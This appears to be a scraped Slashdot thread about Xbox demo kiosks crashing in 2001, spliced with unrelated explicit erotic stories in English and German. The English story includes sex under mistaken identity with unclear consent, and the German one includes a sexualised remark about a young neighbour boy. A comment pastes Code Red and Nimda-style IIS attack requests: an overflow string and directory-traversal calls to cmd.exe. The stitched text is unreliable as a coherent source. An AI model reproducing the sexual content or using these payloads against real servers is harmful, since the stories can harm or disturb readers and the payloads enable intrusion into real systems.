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quannump writes "Gaming Age has an article up about some stores, including Toys R Us and Babbages, Xbox kiosk crashing at various places across the country. "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee." It's funny because it's Microsoft. Get it? It's... oh never mind. Is DOA3 still planned as x-box only?
bitchin
maybe, after years of calling crashes and bugs "features", microsoft is now calling them "games".
go get it
enjoy fucko
Aimee was bending over, with a plastic bag in hand picking up dog poop when a pair of tanned, muscular male legs
came running up the drive behind her. She'd had to wake up an hour early to get her sister's dog Jake walked and
beat the traffic to her end of town. And of course, Jake headed straight for the neighbor's yard the minute they'd
started their morning run.
Aimee's sister, Anna had called in a rush the day before to ask her to dog-sit Jake, their golden retriever. Anna and
her husband Jeff were flying over seas to Europe, on the spur of the moment. Jeff had some business there and
Anna couldn't stay behind for some reason.
Anna assured Aimee she would make all the arrangements with the neighbors so they knew Aimee would be
house-sitting. All Aimee had to do was pick up a key next door with Mrs. Jenkins. Anna had said, come and sleep in
our guest room, swim in our pool, drink our wine, watch our dog. In other words, Aimee thought, Anna was really
saying to her, you are single and can drop your poor excuse for a life and come and baby-sit our life so we don't
have to pay someone to do it.
Aimee twisted the bag outside in and tied it. The muscular legs approaching were attached to a matching body that
was tall, dark and ripped. She eyed the man whose yard she was standing in while holding a bag of dog poop. So
much for shaking hands with him.
Shit, Anna had been holding out on her. She'd told her the neighborhood was full of retirees. Aimee was getting
ready to say something when Jake yanked the leash out of her hand and rushed the man.
"Jake!!! Damn it Jake." Aimee cussed.
"What?" he answered. The man looked truly annoyed with her.
"I'm sorry," he said. "I'll try not to prolong this. He is just saying hi." Jake had his paws up on the man's stomach.
His muscled, sweaty stomach led to hips a girl could wrap her legs around. Aimee snapped herself out of it.
"Oh I know. It's just?" She started. The man looked at her rather intensely and then glanced Anna's house.
"Awkward, I know?" He finished her sentence for her. "Look I better get going."
"Oh, okay," Aimee answered a little disappointed.
She wanted to talk to him a little longer. His legs and chest were glistening with sweat from his run. Dark springy
covered his chest and trailed down into his shorts. She licked her lips and looked up to his face. He had been
watching her tracing his hair patterns with her eyes. And he looked just a little mad about it.
"Here, take Jake. I've got to go," he said. He almost threw the leash at her before stalking off.
Aimee started off to the road thinking he was either uptight or gay. She passed the mailbox and read the name,
Jake Morris. What else should she expect from a man who had a dog's name?
After one very long day, with two long commutes and another very long dog walk, Aimee decided she would rev up
the hot tub. As she wandered her sister's house, she decided that it really was a nice house-- enough bedrooms
for one extra and an office, a small garage and an enclosed hot tub and pool.
When she'd called, Anna had been full of news but had been telling very little of it. She had alluded that everything
wasn't quite right but said she would explain when she and Jeff got back. Anna also said Jeff had put the house up
for sale and wouldn't say why. It was the perfect house for a new couple starting out.
Aimee asked if it was haunted and Anna just laughed and told her it was something like that. As long as it wasn't
haunted, Aimee was thinking about buying the house herself.
About midnight, Aimee grabbed a glass of wine, stripped down and padded out the hot tub wrapped in only a
towel. She turned the dials and managed to get the jets running. She flipped the outside light off and lit a candle
near the tub. In the cover of darkness, she slipped naked into the foaming tub.
The house wasn't far enough outside of the city limits to really see the stars well but a few shone through the smog
and the haze. When she looked back on it later, Aimee was never sure how long it was before she heard and saw
something move in the bushes. Where she had been lethargic from the wine and the long day, she was suddenly
alert. She wondered wildly about her Anna's comments about the house being something like haunted.
"Who is it?? Jake?? Get over here." Aimee whispered in the dark for the dog.
"Shhh? That is what I am working on," a voice answered her from of the bushes.
"What? Oh, it's you." Aimee watched Jake, the man emerge from the bushes. She couldn't really get up out of the
tub. Jake, the dog had finally come to investigate. He wagged his tail at the intruder.
"Is Jeff around?" Jake asked. He nodded toward the house.
"Oh, no. I'm sorry. He's in Europe." Aimee said.
"Good, that's great." Jake said.
He was heading toward one of the doors of the screened enclosure. Aimee was trying to figure out how she was
going to stand up, get her towel and open the screen door for him when she saw him slip a key from the ledge over
the door and let himself in.
"I didn't realize that key was there? " Aimee sat back and crossed her arms in front of her chest.
"Yeah. I guess Jeff didn't either." Jake said. He walked over to the hot tub.
"Would you like to come in?" Aimee asked, thinking the offer was a little belated.
"Yeah. I would." Jake answered and pulled off his t-shirt. He kicked off his running shoes and peeled his shorts off.
Aimee sipped wine with a raised eyebrow and watched the man strip down to the skin completely unashamed and
slip into the tub beside her. He was even better looking naked with the candlelight washing over him.
"Wow. You aren't shy, are you?" Aimee said and took another sip of her wine.
"You're drinking?" Jake asked. He moved close to her.
"Yes, wine," she answered him. Aimee wasn't shy but she wasn't ready to walk naked across the pool enclosure to
offer the man a glass of wine. She handed him the glass instead.
"Would you like some?" she asked.
Jake took her glass and sipped it. Then, handed it back. She sipped again and he bent and kissed her earlobe. Aimee
turned her head and kissed him. He tasted a little like wine and little like toothpaste. She liked the idea that he
brushed his teeth before coming over.
The kiss ended with the hot tub's cycle, the bubbles fizzling to a stop around them. For a moment Jake and Aimee
were quiet while she watched him. He really was a damned fine looking man. It just figured that Anna had been
holding out on her by not telling her about her neighbor.
"Hold on Jake, I'll hit the timer again," Aimee told him.
She set the wine glass down on the side of the tub and climbed up on one of the benches and reached for the hot
tub dials. Aimee closed her eyes and tried not to think about her naked ass in the air as she bent and turned the dial.
The tub hummed to life and Aimee didn't hear Jake come up behind her. He pulled her by her hips back down into
the tub.
"You are gorgeous, you know that?" Jake held her body to his in the center of the tub.
His mouth was on her ear. His hands were all over her, on her stomach, breasts, thighs, pushing her back against
him. Aimee wanted to tell him he wasn't so bad himself but his hand slipped down to her pussy and he found her clit
and rolled it between his thumb and finger. Aimee thought, Oh fuck it, he probably knew he was beautiful. She
moaned instead. Jake pulled her legs apart and then plunged his cock into her pussy from behind.
"Oh Jake?"Aimee moaned.
"I know? I know. I've been thinking about doing this since this morning," Jake told her.
"I wanted you too, Jake," Aimee said.
Jake moved her with him and put her hands on the side of the tub. "Hold on to the side and put your knees up here,
baby," he said.
Aimee was on her knees on the perimeter bench of the tub holding the side for balance. The water was shooting
around her and the point where they were joined was just above water. Jake gripped her hips and pushed up into
her slowly, leisurely.
"When I saw you this morning bent over in my yard with your ass in the air I wanted to drag you into the house and
fuck your blond little brains out," Jake told her.
Aimee moaned and pushed her hips back to meet him. "Oh yeah?" Aimee moaned.
"Lean forward and put your weight on the side of the tub and arch your back," Jake told her and pulled out.
"I want to see you with your ass in the air again," Jake said.
Aimee followed his lead and was bent over the side of the hot tub, with her ass in the air. She held her breath as
she felt his mouth start to lick her pussy and travel up to the top of her crack. His hands gripped her cheeks,
squeezing them and pulling them apart. He held her ass open and she could feel his breath and the night air on her
backside. Her senses were heightened by the fact that she was wet all over-- outside and in. Aimee was biting her
bottom lip, completely unsure of what to do next when she felt his tongue circling her asshole and press into it.
"Oh my god, Jake? " Aimee said.
She wasn't sure whether she should crawl away or push back into his mouth. Since it felt incredible and she was
starting to melt, she reached back and pulled her cheeks apart for him. Jake worked her little bud open with his
mouth a little more aggressively before pulling back. He gripped her hips with both hands.
"Anna, you are so hot," Jake said.
"Ohh. Yeah.. WHAT??" Aimee exclaimed.
Jake dipped his cock into the hot tub and then began pushing into Aimee's ass.
"Anna? baby, I missed you?" Jake groaned as he pressed up her tight backdoor.
"What? awww.. fuck! Jake?" Aimee exclaimed.
Aimee's mind was trying to assimilate everything that seemed to be happening at once. His cock was invading her
virgin asshole and he thought she was her sister, Anna. Anna-- who really was holding out on her. Big time. Aimee
wanted to find a way to resist him but couldn't find seem to find the muscular center to do it. His cock hurt and at
the same time, it didn?t. She wanted him to stop and at the same time, she really didn't.
"I know Anna baby. I know," Jack answered her. "Your ass is so fucking tight tonight, Anna."
He pumped slowly, pulling out a little and then pushing in further with each stroke. She was like a glove gripping his
cock. Jake was slowly wedging himself up her ass. Before long, he was in her ass to the hilt. Aimee whimpered a
little. Having him up her ass was an incredible turn on. She felt virginal and nasty all at once. And it seemed like his
cock throbbed back there.
"C'm here baby," Jake said. He pulled her back up against him and turned around so she was sitting on his lap, her
ass impaled on his cock.
He gripped her hips and she sat slightly between his legs. His cock was felt foreign, solid and so present in her ass.
She needed to do something. If he didn't move soon, she was going to go a little crazy. She constricted her ass
around his cock and thought to herself, oh yeah. That's exactly it.
"Ahh? I can?t believe you are so tight tonight," Jake whispered in her ear. "Wait a minute. Why are you so tight
tonight?
Aimee looked back at him over her shoulder and smiled.
"Hmm. There is a very good reason for that Jake." She tightened her grip on his cock with her ass and then
released it.
Jake was looking at her, scrutinizing. "And what? ugh?. is that reason?" He asked. He could barely talk when she
did that. He wondered where she learned that little trick. She was beginning to really milk his cock with her ass.
"Well, why do you think Jake? Maybe because I'm not Anna?" Aimee answered. She watched his face over her
shoulder.
"Oh no. Oh fuck!" Jake started to push her off but she gripped him again. He wanted to push her off his cock but
her ass was like a constrictor. Anna's ass had never felt like this.
"No! No, don't stop. I mean, I kinda like it." Aimee wiggled her ass on his cock.
"Who the fuck are you?" Jake demanded.
"Anna's sister, Aimee." She answered moved her hips in a circle.
"Wait. Stop moving a minute. The twin?" Jake said. He sounded a little horrified.
His cock in her ass was like a loose tooth she couldn't keep her tongue away from. Aimee started to milk him again.
"Yeah. That's me," Aimee murmured and moved on his cock a little, fucking him. "Mmmm. And, oh yeah, Jake?"
"What?" he answered. He was relaxing a little, it sounded
"Are you going to fuck me tonight?" Aimee asked and moved her ass in a small circle.
"Do you still want me to?" Jake asked.
"Oh yeah, definitely," Aimee answered.
"Then yeah. I'm going to fuck you. As soon as possible and as hard as possible," Jake said.
The water gave her buoyancy and he pushed her up and pulled her back down on his cock. He held her hips and
started to change positions again.
"Aimee baby, I'm going to turn around again and you get on your knees like before," Jake said.
Aimee bent over the side of the tub, her knees on the bench with the front of her thighs pressed against the side
to brace herself. Jake gripped the side of the tub and began to pump in and out of her ass.
Aimee grunted as his speed increased until he was pounding into her ass. She supposed the cliché of his balls
beating up against her could have been a reality but she couldn't tell with the waves of water from the hot tub
washing out over her. What she could tell was an orgasm was starting to build at the base of her spine and was
spreading through her legs. What sent her over the edge was feeling Jake's cock jerking as he came deep in her ass.
When Anna and Jeff came back, Aimee bought their house. Anna's ghost and all.
...bets on how much money Microsoft will lose on the XBox? This could be their very own Newton.
- A.P.
"Remember when the U.S. had a drug problem, and then we declared a War On Drugs, and now you can't buy drugs anymore?"
I believe it is for X-Box only, according to the local "Software, Etc." employees. BTW, their kiosk is working (for now).
Wow! I've never seen *this* level before!
I must have fallen into some opaque blue liquid.
I hope I can swim to the top before I drown...
Why is it so hot? Where am I going? What am I doing in this handbasket?
I was playing one at Software Etc on Saturday.
It was some car driving game. I played for about 5 minutes when I tried to restart the race. The box locked up solid.
Now I know it was probally getting abused but I dont't think that it should have done that.
And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better
"You know why you do not see me styling wit my homies? Because I have no homies!!" -Mojo Jojo
I'm glad Microsoft has finally brought some "innovation" to the console world. They are only providing a feature that customers want!
Winter 2010: With Glowing Hearts
What in the world would lead them to believe this? Fancy packaging? Obviously this isn't the final product.
Putting them inside those enclosures probably isn't the best place for heat dissipation. I know if I put my PC in something like that it wouldn't last long.
It damn well better come out for the mac sometime in the near future...
---If you can't trust a nerd, who can you trust?
I played the demo box at target. There were like 9 different demos that were just presentations, but there was at least one (the topmost option) that you could actually play... you had to run around and gather coins basically. It wasn't much of a game, being just a demo, but the controls were good and the graphics were cool. As long as the Xbox doesn't get a reputation for blue screen of deathing all the time.... i might consider buying one.
I say if the X-box is crashing this much it's pretty much DOA already.
--hongpong.com
Sony to expand Linux for PlayStation 2
Now I know which console I'll be getting this holiday season! :-)
299,792,458 m/s...not just a good idea, its the law!
Galileo: "The Earth revolves around the Sun!"
Score: -1 100% Flamebait
. . .before every one of these is diabled by some local twit?
Don't know if it's authentic though
Microsoft confirmed a version of DOA3 will be released for the Playstation 2 at some point in the future. Probably a few months off.
I'll bet that someone at Microsoft read the article where someone proposed using the Xbox as a web server, running standalone Apache.
This would be their method of nipping those plans in the bud.
Even though it's not meant as a beta test, this seems is a good way to test Xbox. Microsoft is receiving hundreds of bug reports before release. And it's a demanding test, being on for hours at a time.
It's like a beta test, except the product is supposedly final.
If I weren't nailed to the penis, I'd be pushing up the daisies!
Better the Xbox kiosk than a bank machine (I'm sure you've all seen the pictures)... or airport arrival/departure screens... or on ad billboards... or...
---
Programming is like sex... Make one mistake and support it the rest of your life.
As far as DOA goes, yeah, I think the X-Box is DOA.
If they ship buggy hardware boxes, no wonder their OSs have holes bigger than you can stuff unsold XP boxes into...
It's just a BloJJ
Yes. But thank the gods, Soul Calibur 2 is NOT!
"Mod, mod, mod...and another troll bites the dust."
A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."
Now I know the PS2 had some backward-compatibility problems, but other than that, has it been rock-solid? I know I've never had so much as a hiccup from my Dreamcast.
My sigs always suck.
I find it funny that people would find this news. Remember, we are dealing with the king of crashing. Now, if the XBox was Linux, do you think there would be out of order signs?
The reason the audio has popps and clicks was because it was ripped from a copy-protected CD?
Free unix account: freeshell.org
Well, this is something new. Have we ever seen a mass-market console system that flat out didn't work out of the box.
Only from Microsoft!
Taking out the Demo and blowing on it? Then they need to blow into the box itself before putting the demo back in. Then ya gotta hold down the reset button and sorta *tap tap tap* on the game, and it'll come on if you've got the "touch".
oh, wait. What? Oh, XBox. Right.
what the hell is a 'junk character', anyway?
This topic has been done many times everywhere, but I figure i'd bring it up.... who think it's going to be the ps2 killer?
Personally, i own a ps2 and i'm afraid. MS may bring out crappy products but historically their crappy products come with good brainwashing type of marketing that usually kills competition. I hope there will be an X-box emulator for my PS2 (unfortunately).
"Out of five stores that have playable demos within a ten mile area, only two have working units," says the employee.
Well... (sigh) Ah... (geez)
"An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.
Do i need to say anything??? @#"#"$@e$"!!!!!!!!!
you prong-polishing asspump, this is even less funny than that story about the two dead postal workers. pipe up again when you actually have something to contribute, fuckhole.
Unlike a console, the X-Box is a PC. It uses a PC processor, and a PC graphics chip. These are obviously considerably more advanced than anything in a console, and are therefore more likely to go wrong. Its one of the prices to pay for being on the bleeding edge.
Fortunately there is a solution. Simply wait a few months. You will be able to download patches from the internet. The built in hard drive will allow these patches to work.
The only reamining question is how long until we het Linux for it?
or Mircosoft should invent new signs to represent crash for XBOX? I think good example would be a Green X on the black Screen :P
Soon after, a screen appeared that said the Xbox needed customer service repair. The screen provided a list of customer service phone numbers to contact.
I wonder if they're charing $200 per incident?
Out of the 20 gamers I know, about 19 of them are unwilling to purchase XBox simply because of Microsoft's good name.
While the OS on other game consoles ends up crashing occasionally too (in spite of the almost complete lack of a visible OS) they'd believe anything about the Microsoft one crashing anyway, without needing a demonstration.
Its almost a shame these people don't take their expectations of one complex computer system and attach them to another, like, say, a desktop.
"Look at me, I invented the stove!" -- Ben Franklin
Hmm, perhaps they have not completed the required product activation ala WinXP :)
Winter 2010: With Glowing Hearts
Oddworld 3, "Munch's Oddysee" is also only coming out for the X box. Thanks microsoft. Buy up the good game companies and FORCE THEIR HANDS in the gaming market. I refuse to buy an X box for ONE game. But Microsoft is BANKING on this.
...assholes...
Das Telefon klingelt.
... 15 Uhr. ... Ja, bis gleich."
."
Es ist Christian, mein bester Freund, der auch mit mir zusammen Abi macht.
"Ne, heute ist wirklich nicht so gut. Morgen wäre wesentlich besser."
Katja mischt sich ein. "Sag' ihm, er kann ruhig vorbeikommen. Um 15 Uhr." Ich nicke.
"Heute geht doch.
Katja frage ich: "Und, was willst Du mit ihm machen.?"
Sie grinst mich an: "Ich nicht unbedingt, aber da wird sich schon was finden." "Tut mir leid, aber das glaube ich nicht.
Der kann eure Clique nämlich auf den Tod nicht ausstehen."
"Der kann gar keine von uns leiden?" "Ne, nur Isabell vielleicht. Über die hab' ich ihn noch nie lästern hören,
ansonsten sieht es mau aus."
"Isabell?" "Ja, das ist doch die große Blonde mit den großen... ziemlich großen... mächtig großen...
Katja grinst: "Augen? Mit den großen Augen? Ja, das ist Isa. Gib' mal bitte das Telefon."
Sie wählt.
"Hallo, Frau Gerber. Ich bin's Kati. Ist die Isa da?"
Ich schalte die Lautsprecherfunktionn ein.
"Hallo Kati. Wie geht's? Hat alles so geklappt, wie Du es Dir vorgestellt hast?" "Ja, hätte nicht besser laufen können.
Hör mal, willst Du nicht auch einem Jungen heute die vollkommene, sexuelle Zufriedenheit schenken?
"Mach' ich gerade schon. Ich lieg' im Bikini und sonne mich. Der Nachbarsjunge sitzt oben am Fenster und
beobachtet mich einhändig. Ich glaub' der ist schon dreimal zur Toilette gelaufen. Aber jetzt muß ich wohl mein
Oberteil ausziehen um ihn bei der Stange zu halten."
Katja schüttelt lachend den Kopf. "Man kann über Dich sagen, was man will, aber Du bist eine richtig ordinäre
Schlampe." "Danke, ebenso. Was wolltest Du mir jetzt vorhin für 'ne Geschichte ezählen?"
"Wenn Du Deinen Nachbarn noch vögeln willst, hat sich das eh erledigt." "Ne, der ist noch was jung. Dem geb' ich
noch zwei Jahre, bevor ich mir den gönne."
Ich sitze nur da und schüttle den Kopf.
"Also, Du kennst doch Christian... einer von Markus Freunden... die beiden sitzen fast immer zusammen." "Ja... ja, ich
glaub', ich weiß wen Du meinst." "Der kommt um drei hier vorbei und das Problem ist, außer Dir kann er keine von uns
leiden, ist aber in Dich verknallt."
"Hm, der Junge hat Geschmack... und ist süß... wann soll ich da sein?" "Halb drei in der Steinstraße 10."
"Alles klar. Bis dann. Tschö." "Tschö." Katja legt das Telefon zur Seite.
Wir duschen zusammen, ziehen uns wieder an und hören noch etwas Musik, als auch schon Isabell kommt.
"Was muß ich sehen? Ihr seid ja angezogen. Das kann doch wohl nicht wahr sein?"
Dann komme ich auch zu Wort.
"Schön das Du da bist. Freut mich wahnsinnig. Aber ich bin hier für die Witzchen zuständig."
"Na los. Erzähl. Was hat sie mit Dir gemacht?" "Nichts was Du nicht auch schon gemacht hast, wenn ich das
Telefongespräch richtig interpretiere."
"Du hast es gehört? Und, hat es Dich angemacht?" "Nicht so sehr, wie die Jungs in Deiner Nachbarschaft." "Oh, da
hatte ich mich vertan. Das war nicht der Junge, sondern der Vater."
Es klingelt. "Ich mach' auf", sagt Isabell, "dann kriegt Christian den Schock seines Lebens... aber das mach' ich ja
auch wieder gut." Sie war ein richtiger Wirbelwind.
Sie geht zur Tür. Wenig später steht Christian vor mir. Grinsend. "Was geht denn hier ab?"
Ich antworte: "Was fragst Du mich? Ich hab' hier nichts mehr zu sagen." "Hätt' ich zwei halbnackte Schönheiten in
meinem Haus, würde ich mich nicht beschweren."
"Halbnackt?", fällt mir Isabell ins Wort. "Sieht man etwa, dass ich keine Unnterwäsche trage."
Ich muß mich setzen.
"Die ist für Dich da", kläre ich Christian auf. "Zum...? Ne, glaub' ich nicht." Er grinst Isabell an.
Die nimmt seine Hand. "Komm wir gehen schon mal hoch."
Da haben sich zwei gefunden.
Katja und ich knutschen rum. Ich streichle über ihren Rücken und weiter runter über ihren Po. Sie massiert mein Glied
durch meine Hose.
Wir hören Isabell oben laut aufstöhnen.
"Komm, wir schauen mal, was die machen." Katja zieht mich mit sich.
"Woher weiß die überhaupt, wo mein Zimmer ist?" "Ach, glaub' mir, die findet jedes Bett, in jedem Zimmer, in jedem
Haus."
Katja öffnet die Tür. Isabell liegt nackt auf meinem Bett. Ihre Beine hat sie weit gespreizt und Christians Kopf steckt
zwischen ihren Schenkeln.
Isabell hat ihre Augen geschlossen, mit ihren Händen massiert sie ihren wirklich riesigen Busen. Ihre Nippel sind hart
und sie stöhnt in Ekstase.
Ich stelle mich hinter Katja und streichle ihre Brüste, meine Zunge fährt ihren Nacken entlang. Ich möchte ihr das Top
ausziehen, willig nimmt sie ihre Arme hoch, hilft mir so. Dann zieh' ich ihr den Rock herunter.
"Ich möchte das auch bei Dir machen, was Christian da mit Deiner Freundin macht."
Katja nickt, sie wendet ihren Blick nicht von den beiden ab. Ich knie mich vor sie, habe ihr wundervolles Lustzentrum
direkt vor meinen Augen.
Mit meiner Zunge fahre ich ihre Spalte auf und ab. Vorsichtig, mit ein wenig Druck, presse ich meine Zunge zwischen
ihren beiden Lippen durch. Mit meinen Fingern ziehe ich sie weiter auseinander.
Oben finde ich ihre Klitoris und als ich meine Zungenspitze dorthin führe, spüre ich Katjas Feuchtigkeit und höre sie
stöhnen.
Ich schaue zu ihr hoch. Sie hat die Augen geschlossen und den Kopf nach hinten geworfen.
"Ah, das ist phantastisch... ja... weiter... jaahh."
Katjas Orgasmus überflutet meine Zunge mit ihrem Liebessaft. Es schmeckt herrlich. Ich versuche soviel davon zu
bekommen, wie möglich.
Anschließend setzen wir uns für eine kurze Pause auf die Couch.
Isabell und Christian haben inzwischen die Positionen gewechselt. Sie verwöhnt nun sein Glied, wie es Katja heute
morgen noch mit meinem gemacht hatte. Auch Christian genießt es offensichtlich sehr, will aber nicht in Isabells
Mund kommen.
"Warte, ich bin gleich soweit."
Er zieht seinen Penis aus ihrem Mund und spritzt sein Sperma über ihre Brüste. Gierig leckt Isabell mit der Zunge über
ihren Busen.
Bei diesem Anblick schießt das Blut zurück in meine Lenden. Katja nimmt meine Erektion in die Hand und bewegt sie
auf und ab.
Wir stehen auf und Katja stellt sich vors Bett. Sie beugt sich nach vorne, stützt sich am Rahmen ab. Ich stelle mich
hinter sie und dringe in sie ein.
Ich ziehe mein Glied wieder ganz aus ihr heraus um diesmal sehr kräftig zuzustoßen. Katja schreit laut auf vor Lust und
Erregung.
Ich beginne, meine Hüften rhytmisch vor und zurück zu bewegen. Eine Hand habe ich auf ihrem Po, mit der anderen
umfasse ich ihren Busen.
Inzwischen sind auch Isabell und Christian wieder soweit. Isabell stellt sich neben Katja und Christian beginnt sich
genauso um Isabell zu kümmern, wie ich mich um Katja.
Mein Rhythmus wird schneller. Der Anblick, wie mein bester Freund dieses Mädchen liebt, macht mich unheimlich
scharf.
Ich spüre, dass ich unmittelbar auf meinen Orgasmus zusteuere und auch Katja ist gleich soweit.
Unser Stöhnen wird immer lauter und heftiger und mit einem letzten, kräftigen Stoß erlöse ich uns.
Isabell und Christian kommen kurz nach uns zu ihren Höhepunkten und sind dabei auch nicht gerade leise.
Seither sind Katja und ich ein Paar. Wir sind unheimlich verliebt und treiben es immer und überall miteinander: Im Kino,
in der Umkleidekabine des Kaufhauses, im Auto oder auf der Schultoilette während des Abiballs (wir haben beide
bestanden). Isabell und Christian sind nicht zusammen, treffen sich aber regelmäßig um miteinander Spaß zu haben.
Alles in Allem ein recht gelungener Sommer.
>layable demos within a ten mile area, only two have working units,"
>ays one Babbage's employee." It's funny because it's Microsoft. Get
>t? It's... oh never mind. Is DOA3 still planned as x-box only?
so far, DOA3 is only available at 3 of the 5 stores in the local area. After an hour or two, though, it's likely that DOA4 will arrive, with DOA5 applying by the end of the day . . .
:)
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Being a long time gamer and a fervent computer user, I came to a decision about a month and a half ago.
I'm no longer going to use microsoft products in my home. My girlfriends computer is going to get a fresh install of Redhat in about two weeks and that should be the last of it.
The only shortfall to the whole thing has been the lack of mmog's to play under linux. I figure this will take a little time, but it'll get there eventually (most likely in the form of a game / games that play on all platforms..)
I went and bought a ps2 this summer, and some of the games coming out right now, Ico (SCEA) and Devil May Cry are absolutely stunning single player games. It will be interesting to see what happens when the net adapter and hard disk come out for the ps2, but in the meantime, based on principle I've made a few smaller decisions.
I won't be installing explorer 6.x+ ever (even at work), and I won't be buying an Xbox. Some of the stuff that Microsoft is doing with their licensing practices, as well as the shoddy quality of all their products since they were born just don't warrant rewards.
Then again, I'll most likely be one of those parents that spanks their kids as a disciplinary action as well, so maybe that just makes me a great big asshole.
Nobody should be siding with microsoft in any of their endeavors, I wonder why nobody is standing up and saying anything like this, now that MS is reaching into the gaming arena.
Still, it's rather humorous that some of the demo systems don't work, and people will still run out and buy them like lemmings.
-mh
Microsoft's version of sprituality:
"Double-click the lifestone to attune your spirit to the lifestone"
Newer game consoles are shipping with heatsinks and fans, items which weren't needed in previous generations of game systems. What's scary is that this is even though Sega and Sony have intentionally done things to keep power consumption down, like using lower power CPUs like the SH4 and MIPS and keeping the amount of memory reasonable.
Microsoft is putting in a hot running CPU that was never designed for embedded systems use and twice the memory of the PS2. Sure, that makes it more powerful in a way, but it also may be over the line in terms of what you can do inside of a sealed consumer box. Remember, "more powerful" has never been the mantra of embedded systems engineers, but "cool running" and "rock solid reliable" are.
A Microsoft product that doesn't work-- Stop the presses! Besides, half the time I'm at Walmart their Playstation / Dreamcast / GameBoy Advance isn't working either. Gross bias is distasteful even to some of those of like view, so stop.
there is a rumor that the main driving force behind xbox ad campain will be the song I Will Crash On You
Did it give a big BSOD? Or did it just lock up?
Think of everyone oogling the fancy graphics and a nice bluescreen comes up, and everybody thinks its a joke, but it isn't.
This brings me to an unrelated point. Nintendo actually spent money on me. They sent me promotional material. It was an envelope shaped like a gamecube with a minicd in it that was basically a big web page. It included info about their upcoming games as well as wallpapers and videos. Pretty neat.
Well, .
Mike
In MSoftian:
"R&D" means "we just saw someone else demoing something neat."
"Alpha" means "here's the Director mockup running on a Mac."
"Beta" means "well, we got it working, sorta."
"Golden Master" means "hey, it runs, if we leave out some features."
"Release" means "ready for the newest Nimda variant to run on it!"
Over at the Sony Playstation store, everything works all the time. (Most of the PS2 games suck, but that's a separate problem.)
The XBox runs a cut-down version of Win2K, which supports one multi-threaded application at a time, running in kernel mode. It may have been a mistake, to use the architecture of a desktop OS without the protection.
>The Xbox demo unit at a nearby Toys R Us store
>could not give consumers a taste of the new
>Microsoft console because of severe loading
>problems.
Umm, consumers did get a taste of the new console. Anyone who buys it is a fool when they see it crashed in the kiosk.
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How much traffic does Slashdot serve?
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What is this "Free Speech/Free Beer" thing that I see discussed in the comments?
What is the "Slashdot Effect?"
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It's funny because it's Microsoft. Get it?
People ask me "Why give up a 50 karma poster that posts your own opinions?"
Now I can point them to the above post. Simple as that.
Thanks for being both zealotous, and close-minded, Taco.
Quality straight pr0n goes here
Maybe the X in X box really stands for MSX.
I have a feeling (due to the economy, et al) that MS may be looking at MSX part deux, except this time they're on the hook for the hardware as well. Even if the X-box is successful its gonna hit MS's bottom line for a year or so (to the tune of a billion or so). Add "reliability" problems to it and you can kiss it goodbye.
I wonder if after the christmas season it is not living up to expectation how long until MS kill it. It ain't cheap (subsidising each machine.. ask Sega), and the stench of death over a console machine is damn near impossible to overcome (even if you iron out bugs in the next batch of machines). Its not like its software and you can issue patches owners can download.
*IF* (and its a big if) this is a sign of things to come for the X-box (and I'll give MS the benifit of the doubt and say it isn't) could cost a LOT of money.
"Crashing Xbox Kiosks"...
I thought that the headline meant the story was going to give us instructions on how to crash xboxen...
...but I suppose it would make for a pretty short article, looking something like this:
1) show up.
2) watch xbox crash
GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN
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% u5 3ff%u0078%u0000%u00=a
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/scripts/root.exe?/c+dir
/MSADC/root.exe?/c+dir
/c/winnt/system32/cmd.exe?/c+dir
/d/winnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
/_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
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(emphasis mine)
I'd like to see this confirmed first. However whichever way you look at it, it is pretty damn silly to have either a beta box or a buggy game running in shops.
I don't think it would be unfair to suggest that the one that does finally go into retail won't be as bad as this.
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Did MS design the XBox's hardware? A bug in software is easily fixed with a patch, but what do they do when they find out the hardware is flawed? Or is there some process to eliminate hardware bugs before they wreak havoc? (I seem to remember one of Intels chips getting to market with bugs)
I was afraid to look at it because it was probably a EULA that would legally bind me to buy XBox games exclusively, and turn in all my Playstation games to the console Police (or something like that).
Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions. The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation. I have seen plenty of the old Dreamcast display units hung up and crashing to a black screen with a little text. It might also be due to the early software revisions in the machines.
Of course, anyone who had an old NES should remember that many of the system's games were very crash prone. I cannot begin to describe how many time I saw Teenage Mutant Ninja Turtles crash, to the point that I knew what areas to walk away from when parts of the screen would become distorted...
I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all.
It's funny because it's Microsoft.
And people wonder why I always have to spell the name of the town I live in.
Anyway, Microsofts poor software has kept me employed for 5 years, and this is just reinforces that belief.
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If it's hanging/BSODing now, do you REALLY think anyone's going to buy off on it? (At least the demo units for the PS2 work well...) Yes, those are neato games, but there's always other companies out there willing to fill that void MS is making right now.
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What's up with "First Post" comments?
Comment posts are getting crappy. What are you doing about it?
Moderation seems restrictive. Is it really necessary?
Most of the trolls and useless stuff comes from "Anonymous Coward" posters. Have you thought about eliminating anonymous posting?
Doesn't this open posting policy ever get you into trouble?
How did the moderation system develop?
How does moderation work?
What are thresholds?
What is karma?
Is there a limit to how much karma you can accumulate?
It seems unfair that I can't get any more karma than that even if I earn it.
Why didn't I get karma for a Quickie or a Slashback story?
What is karma Good For?
Why is my karma not what I expect?
Whenever I use my +1 Bonus, I get moderated down and lose karma!
